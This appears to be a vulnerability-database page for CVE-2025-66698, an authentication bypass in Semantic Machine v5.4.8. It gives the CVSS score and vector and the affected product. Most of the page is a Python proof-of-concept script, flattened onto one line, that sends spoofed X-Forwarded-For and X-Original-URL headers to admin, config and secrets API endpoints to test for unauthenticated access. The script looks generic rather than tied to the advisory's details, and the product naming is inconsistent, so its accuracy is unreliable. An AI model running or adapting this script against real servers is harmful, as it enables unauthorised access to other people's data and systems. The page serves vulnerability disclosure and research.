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CVE-2025-66698 CVSS 8.6 HIGH

CVE-2025-66698

Published: 2026-01-13 16:15:56
Last Modified: 2026-02-05 20:30:20

Description

An issue in Semantic machines v5.4.8 allows attackers to bypass authentication via sending a crafted HTTP request to various API endpoints.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:semantic-machines:veda:5.4.8:*:*:*:*:*:*:* - VULNERABLE
Semantic Machine v5.4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66698 Authentication Bypass PoC # Target: Semantic Machine v5.4.8 # Type: Authentication Bypass via crafted HTTP request import requests import sys def exploit_cve_2025_66698(target_url): """ Exploit for CVE-2025-66698 - Semantic Machine Authentication Bypass This PoC demonstrates the authentication bypass vulnerability. """ # Target API endpoints that are affected api_endpoints = [ "/api/v1/users", "/api/v1/admin", "/api/v1/config", "/api/v1/secrets" ] # Crafted HTTP request headers to bypass authentication headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-66698-PoC)", "X-Forwarded-For": "127.0.0.1", "X-Original-URL": "/api/v1/login", "Content-Type": "application/json" } print(f"[*] Testing target: {target_url}") print(f"[*] Exploiting CVE-2025-66698...") for endpoint in api_endpoints: url = target_url.rstrip('/') + endpoint try: # Send crafted request without authentication response = requests.get(url, headers=headers, timeout=10) print(f"\n[+] Endpoint: {endpoint}") print(f" Status Code: {response.status_code}") if response.status_code == 200: print(f" [!] VULNERABLE - Authentication bypassed!") print(f" Response length: {len(response.text)} bytes") elif response.status_code == 401: print(f" [-] Protected - Authentication required") else: print(f" [*] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66698_poc.py <target_url>") print("Example: python cve-2025-66698_poc.py http://target.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_66698(target)

References

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